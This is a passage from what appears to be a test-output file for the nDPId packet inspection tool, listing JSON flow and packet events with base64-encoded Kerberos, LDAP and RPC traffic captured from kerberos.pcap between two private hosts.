9EhQX38cpSy926C3lIc0Vkhc+VaaHdh510+B"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1549337937700,"flow_last_seen":0,"flow_tot_l4_data_len":286,"flow_min_l4_data_len":286,"flow_max_l4_data_len":286,"flow_avg_l4_data_len":286,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49180,"dst_port":389,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00776{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":700823,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"pB9ywglqAAgCHEeuCABFAAEyANVAAIAGj\/+sEAjJrBAICMAcAYWCU2zwSN6TcFAYAQDS2QAAEgduSF05n8MFVjy4LWbkIsui7POF\/jI0fgAi3\/kn4+lZJrv4uo1Xj0IHKshBaLfyrICuzZtbBAFYjLvQz7y8gyRTfkwzadmnUFntTq1Eam1s4n2Qhfn1fuSUa5DAR1i941DEujmYu8fTZX3tp1hllqkxXisHcqSEIi8W9weLGXgpYEZYoErMkYejHKEeDmPCwQO6JC7sDmP8cAErQb7Rc88wLF4lFI7xOIE4FiH\/05afA1w9V5d1P2yDaGB6bADs\/c2xi7QKQuP+FixF4gof0ovK0nwq\/y7Hd27V4SQ4qHRNlXJex92QoEPhio00QFq1bLTnuvdcqFYcMu\/6\/tRVEcFKp0ezr7WF5MI="} +00694{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":701643,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"AAgCHEeupB9ywglqCABFAAD6E6JAAIAGfWqsEAgIrBAIyQGFwBxI3pNwglNt+lAYAQCvQgAAMIQAAADMAgEKYYQAAADDCgEABAAEAIeCALihgbUwgbKgAwoBAKELBgkqhkiC9xIBAgKigZ0EgZpggZcGCSqGSIb3EgECAgIAb4GHMIGEoAMCAQWhAwIBD6J4MHagAwIBEqJvBG2EupGhqTVA+Kxm5vIdkbfFjlPoe8DmjpF\/p2I3j7EwFjqQzavz5jy+cGzZKn09a9y0dyj\/mpeHcqpjjORB3KYfxKGHrDmiKKSYiCwqx86ee7rLKiQPX2z3RSwNa4fWz8uAjgw+I5CkXYbP6rNu"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1549337937703,"flow_last_seen":0,"flow_tot_l4_data_len":259,"flow_min_l4_data_len":259,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":259,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49181,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00734{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":703350,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"pB9ywglqAAgCHEeuCABFAAEXANlAAIAGkBasEAjJrBAICMAdAFjHhcaiuhdcXlAYAQCv5QAAAAAA62qB6DCB5aEDAgEFogMCAQqjFTATMBGhBAICAICiCQQHMAWgAwEB\/6SBwTCBvqAHAwUAQIEAEKEYMBagAwIBAaEPMA0bC0pPSE5TT04tUEMkohAbDkhBUFBZQ1JBRlQuT1JHoyMwIaADAgECoRowGBsGa3JidGd0Gw5IQVBQWUNSQUZULk9SR6URGA8yMDM3MDkxMzAyNDgwNVqmERgPMjAzNzA5MTMwMjQ4MDVapwYCBFIcW1KoFTATAgESAgERAgEXAgEYAgL\/eQIBA6kdMBswGaADAgEUoRIEEEpPSE5TT04tUEMgICAgICA="} +00784{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":703857,"pkt_caplen":332,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":332,"pkt_l4_len":298,"pkt":"AAgCHEeupB9ywglqCABFAAE+E6VAAIAGfSOsEAgIrBAIyQBYwB26F1xex4XHkVAYAQDp0AAAAAABEn6CAQ4wggEKoAMCAQWhAwIBHqQRGA8yMDE5MDIwNTAzMzg1NlqlBQIDBJWNpgMCARmpEBsOSEFQUFlDUkFGVC5PUkeqIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkhBUFBZQ1JBRlQuT1JHrIGnBIGkMIGhMH6hAwIBE6J3BHUwczA0oAMCARKhLRsrSEFQUFlDUkFGVC5PUkdob3N0am9obnNvbi1wYy5oYXBweWNyYWZ0Lm9yZzAFoAMCARcwNKADAgEDoS0bK0hBUFBZQ1JBRlQuT1JHaG9zdGpvaG5zb24tcGMuaGFwcHljcmFmdC5vcmcwCaEDAgECogIEADAJoQMCARCiAgQAMAmhAwIBD6ICBAA="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1549337937724,"flow_last_seen":0,"flow_tot_l4_data_len":339,"flow_min_l4_data_len":339,"flow_max_l4_data_len":339,"flow_avg_l4_data_len":339,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49182,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00845{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":724378,"pkt_caplen":373,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":373,"pkt_l4_len":339,"pkt":"pB9ywglqAAgCHEeuCABFAAFnAN1AAIAGj8KsEAjJrBAICMAeAFgo\/29go\/Vk0VAYAQAVQgAAAAABO2qCATcwggEzoQMCAQWiAwIBCqNjMGEwTKEDAgECokUEQzBBoAMCARKiOgQ4EwWkoanvLUiVA5eu8uG72\/EPy4+eHAiK9HbftleuqZ7DwBR\/wY3Sc5USTXPr6SJXdlLH8zfIE5MwEaEEAgIAgKIJBAcwBaADAQH\/pIHBMIG+oAcDBQBAgQAQoRgwFqADAgEBoQ8wDRsLSk9ITlNPTi1QQySiEBsOSEFQUFlDUkFGVC5PUkejIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDkhBUFBZQ1JBRlQuT1JHpREYDzIwMzcwOTEzMDI0ODA1WqYRGA8yMDM3MDkxMzAyNDgwNVqnBgIEUhxbUqgVMBMCARICARECARcCARgCAv95AgEDqR0wGzAZoAMCARShEgQQSk9ITlNPTi1QQyAgICAgIA=="} +00565{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":724993,"pkt_caplen":166,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":166,"pkt_l4_len":132,"pkt":"AAgCHEeupB9ywglqCABFAACYE6pAAIAGfcSsEAgIrBAIyQBYwB6j9WqFKP9wn1AYAQCbeQAAeBxjGZR555TmhlGtfWdB3hqYo6lYswe6vKpNUcrN1M7KGcxMIdPLYhZ04dECjGI6ypolTWuvt884Bi2lq0pIFbZFVKD3x\/BnUesSWAB9L0qg+5NPzwAEggckaZSGKHdd5sXD0ux4MNvoyw986qY1Nw=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":48,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1549337937725,"flow_last_seen":0,"flow_tot_l4_data_len":100,"flow_min_l4_data_len":100,"flow_max_l4_data_len":100,"flow_avg_l4_data_len":100,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49183,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":725890,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"pB9ywglqAAgCHEeuCABFAAB4AONAAIAGkKusEAjJrBAICMAfAFi1TK\/3YmHJT1AYAQDj2wAAbj2wbk+derrxO0c0pxRSdruhR6\/j4Ui\/xNsBa8OfbfRkbAwdywbQynHUORFcFH8maukxsoLa+OhvD2a5+zDPKPlneJ\/sg2b\/GuIvr5ZD3Bg="} +00465{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337937,"pkt_ts_usec":726633,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"pkt":"AAgCHEeupB9ywglqCABFAABQE7BAAIAGfgasEAgIrBAIyQBYwB9iYc8DtUywR1AYAQDGTwAA4zLECSz5GZPNqNSL4T5BMx8WrZoQ8TiJymulR2VkZN3O1rD+5YXABg=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1549337940431,"flow_last_seen":0,"flow_tot_l4_data_len":157,"flow_min_l4_data_len":157,"flow_max_l4_data_len":157,"flow_avg_l4_data_len":157,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49186,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00598{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337940,"pkt_ts_usec":431467,"pkt_caplen":191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":191,"pkt_l4_len":157,"pkt":"pB9ywglqAAgCHEeuCABFAACxAPpAAIAGkFusEAjJrBAICMAiAFjJGNiQqlyd6VAYAQDPPQAAiJisSNul39yNkXIaZ7I9abKKHsFn\/6nUnlpuYlwP2aMvOAIHPA5TwBaAhiWq+tFyYupNZpDDILw6OTtdBUx9AScUIqcHtp8iuHt0kMVzTn\/4u2MWOJ3B5oBzCaRbB4JGSnxRjDJCJirb6nGFgBI0LOLujBAlXiGb5mYfdXtWDkYlEBJfjMNCAaw="} +00573{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337940,"pkt_ts_usec":432366,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"AAgCHEeupB9ywglqCABFAACbE79AAIAGfaysEAgIrBAIyQBYwCKqXKOdyRjZGVAYAQDDTwAAKYg87lVL35oh62EWNwE864\/2bfnOQr1tnnHZbVGEslhqWgqxgOlP8fU7tCl8Q\/Pa+OiAoCN8WQQSqJd8h73HLCORGVTkV2\/0V8MyUM0yQH1SL9l7PdXJm7IP\/IVn+E9KcR0nyC\/qPtxkWFJAw4YHnIb0GQ=="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":52,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1549337940432,"flow_last_seen":0,"flow_tot_l4_data_len":379,"flow_min_l4_data_len":379,"flow_max_l4_data_len":379,"flow_avg_l4_data_len":379,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49185,"dst_port":49155,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00894{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337940,"pkt_ts_usec":432879,"pkt_caplen":413,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":413,"pkt_l4_len":379,"pkt":"pB9ywglqAAgCHEeuCABFAAGPAP5AAIAGj3msEAjJrBAICMAhwAMZWxyAQJkJXFAYAQAR1wAA1H5mUL0BcI4qPWGkggFYMIIBVKADAgESooIBSwSCAUcbieRVkdOtAnzmcyqLDK9HyZo8H6AcRFkR6nkpd0sYlEbV82Qt31YdF5lIivhvCiptxoXnMPhE44z2QYycXFRvcJlMUVHmYJTlGAPASSmrxcFRtfwGd3CmxLGHH6gdXYYGgEzOmFuOyHJjprxX+WUkbubIb9DuIaCyGfu6WjSvDsJsxl8APFvUDVpwKCBx+yi4Nl7uparYkV7uyBIsOfius8LRX8aNw6uyL8Rg7Kcy+u\/AdDO7DcqqeIW4ECzaDnKuMDvhoDG1L4DC3Gyq10cUmszgrrBDkGwYBF3I07gVPaOITvdzOarlv0eTNHIPNCN07gmcrX\/ElHpPLwV7ZiI5SB1SY8Op3qesfZqAIqjOBGiyQU2+uy5qrSSffZHU9iojHh1BosRxcA7pQ15VJkC0LtUsgQyMbCX0W85YmDAFmZqe2ZivqK8="} +00794{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337940,"pkt_ts_usec":433470,"pkt_caplen":338,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":338,"pkt_l4_len":304,"pkt":"AAgCHEeupB9ywglqCABFAAFEE8NAAIAGfP+sEAgIrBAIycADwCFAmQlcGVsd51AYAQDbOQAABQAMBxAAAAAcAagAAgAAANAW0BaIIgAABgA0OTE1NQADAAAAAgACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMFcXG6vjdJgxm12++czDYBAAAAAwADAAAAAAAAAAAAAAAAAAAAAAAAAAAACQYAAAAAAAChgaUwgaKgAwoBAaELBgkqhkiC9xIBAgKigY0EgYpvgYcwgYSgAwIBBaEDAgEPongwdqADAgESom8Ebfn2lEYLCMVIVfFxnfrMpLLQ5jje4X2obHkLE1mHLBb3QYmIfBpDW5VyIgGbPY54D9aSU3VouXp90Sdg8ibesBCnHqUH+HJX\/hdQ0brTNgFSTOR\/m3sdIfIuZmQkzV3dPMC5PlxnwhbW8ZWYvQE="} +00716{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337940,"pkt_ts_usec":433720,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"pB9ywglqAAgCHEeuCABFAAEEAP9AAIAGkAOsEAjJrBAICMAhwAMZWx3nQJkKeFAYAP\/gGgAABQAOAxAAAADcAIwAAgAAANAW0BYAAAAAAQAAAAEAAQA1QlHjBkvREasEAMBPwtzSBAAAADMFcXG6vjdJgxm12++czDYBAAAACQYAAAAAAAChgYkwgYagAwoBAaJfBF1vWzBZoAMCAQWhAwIBD6JNMEugAwIBEqJEBELB6nut18jCMG03H8TJyLvCf8wWF6F7BqJ4bg85nSMTOiCmzGy+a5tNrq0VYdAt2TCIZ2p1Ys\/DpnWvcPxOp0LCSoajHgQcBAQE\/\/\/\/\/\/8AAAAAVL504MDCo+3fnXZuQhY33A=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":55,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1549337951630,"flow_last_seen":0,"flow_tot_l4_data_len":255,"flow_min_l4_data_len":255,"flow_max_l4_data_len":255,"flow_avg_l4_data_len":255,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49187,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00729{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":630943,"pkt_caplen":289,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":289,"pkt_l4_len":255,"pkt":"pB9ywglqAAgCHEeuCABFAAETAQ1AAIAGj+asEAjJrBAICMAjAFj9jJo6lSyMo1AYAQB4vAAAAAAA52qB5DCB4aEDAgEFogMCAQqjFTATMBGhBAICAICiCQQHMAWgAwEB\/6SBvTCBuqAHAwUAQIEAEKEcMBqgAwIBAaETMBEbD3RoZXJlc2Euam9obnNvbqIMGwpIQVBQWUNSQUZUox8wHaADAgECoRYwFBsGa3JidGd0GwpIQVBQWUNSQUZUpREYDzIwMzcwOTEzMDI0ODA1WqYRGA8yMDM3MDkxMzAyNDgwNVqnBgIEXdv8Z6gVMBMCARICARECARcCARgCAv95AgEDqR0wGzAZoAMCARShEgQQSk9ITlNPTi1QQyAgICAgIA=="} +00733{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":631242,"pkt_caplen":294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":294,"pkt_l4_len":260,"pkt":"AAgCHEeupB9ywglqCABFAAEYE9dAAIAGfResEAgIrBAIyQBYwCOVLIyj\/YybJVAYAQAREAAAAAAA7H6B6TCB5qADAgEFoQMCAR6kERgPMjAxOTAyMDUwMzM5MTBapQUCAwNKZqYDAgEZqQwbCkhBUFBZQ1JBRlSqHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkhBUFBZQ1JBRlSsgYsEgYgwgYUwYqEDAgETolsEWTBXMCagAwIBEqEfGx1IQVBQWUNSQUZULk9SR3RoZXJlc2Euam9obnNvbjAFoAMCARcwJqADAgEDoR8bHUhBUFBZQ1JBRlQuT1JHdGhlcmVzYS5qb2huc29uMAmhAwIBAqICBAAwCaEDAgEQogIEADAJoQMCAQ+iAgQA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":57,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1549337951638,"flow_last_seen":0,"flow_tot_l4_data_len":335,"flow_min_l4_data_len":335,"flow_max_l4_data_len":335,"flow_avg_l4_data_len":335,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49188,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00837{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":638319,"pkt_caplen":369,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":369,"pkt_l4_len":335,"pkt":"pB9ywglqAAgCHEeuCABFAAFjARFAAIAGj5KsEAjJrBAICMAkAFi0GLZOsNNMHlAYAQAvMAAAAAABN2qCATMwggEvoQMCAQWiAwIBCqNjMGEwTKEDAgECokUEQzBBoAMCARKiOgQ4Wndh9xw8qUUtso0vc8TuP9R5peLYlUKrIi93QkMXsrfVII\/B8UhLSOwTSHwq5LSHP2vURJP\/YpgwEaEEAgIAgKIJBAcwBaADAQH\/pIG9MIG6oAcDBQBAgQAQoRwwGqADAgEBoRMwERsPdGhlcmVzYS5qb2huc29uogwbCkhBUFBZQ1JBRlSjHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkhBUFBZQ1JBRlSlERgPMjAzNzA5MTMwMjQ4MDVaphEYDzIwMzcwOTEzMDI0ODA1WqcGAgRd2\/xnqBUwEwIBEgIBEQIBFwIBGAIC\/3kCAQOpHTAbMBmgAwIBFKESBBBKT0hOU09OLVBDICAgICAg"} +00632{"flow_id":28,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":638954,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AAgCHEeupB9ywglqCABFAADKE9xAAIAGfWCsEAgIrBAIyQBYwCSw01HStBi3iVAYAQA+gAAAtgxIRqdE2xpJueUsyACfoBkRIO2d0vdWoZTH7\/Uq\/IekfUoxUBvBS550+iWChkmhJucRdY1OlQL1WMQC8uhxGdFWaESvp\/JzESFsbwdEK2JaAYNNrn2MyR4+4w4oYIB6xP3aoFYA9y5s01X0oEa\/3ePvjWb66V7pwZZYO9bc89yozmxDtVb4zCT8SyPCYGj7ljiOz9w+sICchbsKK+VkdLL4"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":59,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1549337951639,"flow_last_seen":0,"flow_tot_l4_data_len":61,"flow_min_l4_data_len":61,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":61,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49189,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":639128,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"pB9ywglqAAgCHEeuCABFAABRARdAAIAGkJ6sEAjJrBAICMAlAFiRlp2kV2CH+1AYAQDPTQAAMzcwOTEzMDI0ODA1WqcGAgRd2\/xvqBIwEAIBEgIBEQIBFwIBGAIC\/3k="} +00501{"flow_id":29,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":639626,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"AAgCHEeupB9ywglqCABFAABqE+JAAIAGfbqsEAgIrBAIyQBYwCVXYI2vkZadzVAYAQBXRgAAQS6YdBRcDlPtUTrjUB8narHoPerU+E0Jfux+IwijhqkO1zkqtUVGrf6H2Py3dE6xzPm7+U9W58\/67z4LH\/YlBX9v"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":61,"source":"kerberos.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":1549337951709,"flow_last_seen":0,"flow_tot_l4_data_len":237,"flow_min_l4_data_len":237,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":237,"midstream":1,"l3_proto":"ip4","src_ip":"172.16.8.201","dst_ip":"172.16.8.8","src_port":49190,"dst_port":88,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00708{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":709754,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"pB9ywglqAAgCHEeuCABFAAEBAR5AAIAGj+esEAjJrBAICMAmAFg7QE\/YI2nTKVAYAQALhgAAZxsOaGFwcHljcmFmdC5vcmelERgPMjAzNzA5MTMwMjQ4MDVapwYCBF3PyFqoEjAQAgESAgERAgEXAgEYAgL\/eaqBljCBk6ADAgESooGLBIGIqYCMNPGCrPeLGO9qPK8YFBfjHxUTb+emA\/ivLTUTYudncy22kbyckKCiSeisUe8yJ84rq8HDegGsl0qK5XKbjnVH8LqImnH6XpTRvHWQpRpTszA\/lJoaM6MWsPPKugansbtAh5mO54t+2+bi3wT01iiQl45hp5bjTN1UEkZf+dFCUo8Xssy7aA=="} +00673{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":710662,"pkt_caplen":244,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":244,"pkt_l4_len":210,"pkt":"AAgCHEeupB9ywglqCABFAADmE+lAAIAGfTesEAgIrBAIyQBYwCYjadjdO0BQsVAYAQAYcQAA4k0pIk9VQ3WSD8DyjCP6zDplkOu688cj7B+axduw7FbTE6AYUgZjQCgBXNnQmZk8AZkKxd6trQiOV9Q21Ig4\/vSvcG7YJA68j6K63UrdpgCrN\/5os+IHfd01LLYH5NyLiu66hLUPywBQtPqISEBXxfQa4YqqDi7eMFkF+tYnKAJyaEAa5CaoA\/k+JAFpYmNuKBJA\/cZZR\/sXThwZU9vDmuS8WhtIpf+zFLSMTZjUF9FuugxEPjg+p8gxz6TuBQ=="} +00883{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":711185,"pkt_caplen":405,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":405,"pkt_l4_len":371,"pkt":"pB9ywglqAAgCHEeuCABFAAGHASJAAIAGj12sEAjJrBAICMANwANTRpnlsystmVAYAPozQQAAggFcMIIBWKADAgESooIBTwSCAUuWLCgSHanSt2PP\/yVZcMfmf3O+6wkVadfE4eKakG1yO9SrZ+8e61jMQHtNJBdVjgWRd36YzM4hMkoAdzbpBR9NZThyJ11f649dicjSuLS+0TTKNkhTS5aP+2+mnqnnwKgAkNlUMsspI6StbG26XuSZeYdibrcSAfD9kHkFgsnEWSCqBWTMHVipU71tN6CdEXUPMPgdMC27QADlevQgcDqeQ+CaMuhs5GMB5DizisiK3lhDZnU7kt9iBk1lPvPq7LUIN5ZTJDARGYWlkq+iBz0i5CAvlmbQxn1dYqcSfUWlglxgIKwgVgnhQFAi0+OkVeTOKgDN3BKruoEBTil74\/S0evMc1u09Q2h3drzzLM87D5Tf5ZA+AA7wtSOBzz29\/X1AMobB75bUUFQJGjnEPxV7Cn3hUrsQuLV+886ueqKSkLUttIDIOiX8ZR8o"} +00726{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"kerberos.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1549337951,"pkt_ts_usec":711741,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":286,"pkt_l4_len":252,"pkt":"AAgCHEeupB9ywglqCABFAAEQE+1AAIAGfQmsEAgIrBAIycADwA2zKy2ZU0abRFAYAQCuMgAABQAPAxAAAADoAKgABgAAANAW0BaHIgAAAAAAAAEAAAAAAAAAMwVxcbq+N0mDGbXb75zMNgEAAAAJBgAAAQAAAKGBpTCBoqADCgEBoQsGCSqGSIL3EgECAqKBjQSBim+BhzCBhKADAgEFoQMCAQ+ieDB2oAMCARKibwRtFkUGSBk\/WNs8P1WQ8Umu5czQ0+5kt3qmyCKwqmWsGmeP2HdAYpVM1NOW3vOxQVk7A3LJVo2UlBLe3M1zmefdmYzJtoJ+Cb3iexzSZ9Yc6KmePBXHlaCcN9nDA7to75z\/ZLHEO5LicF4DB997lA=="} 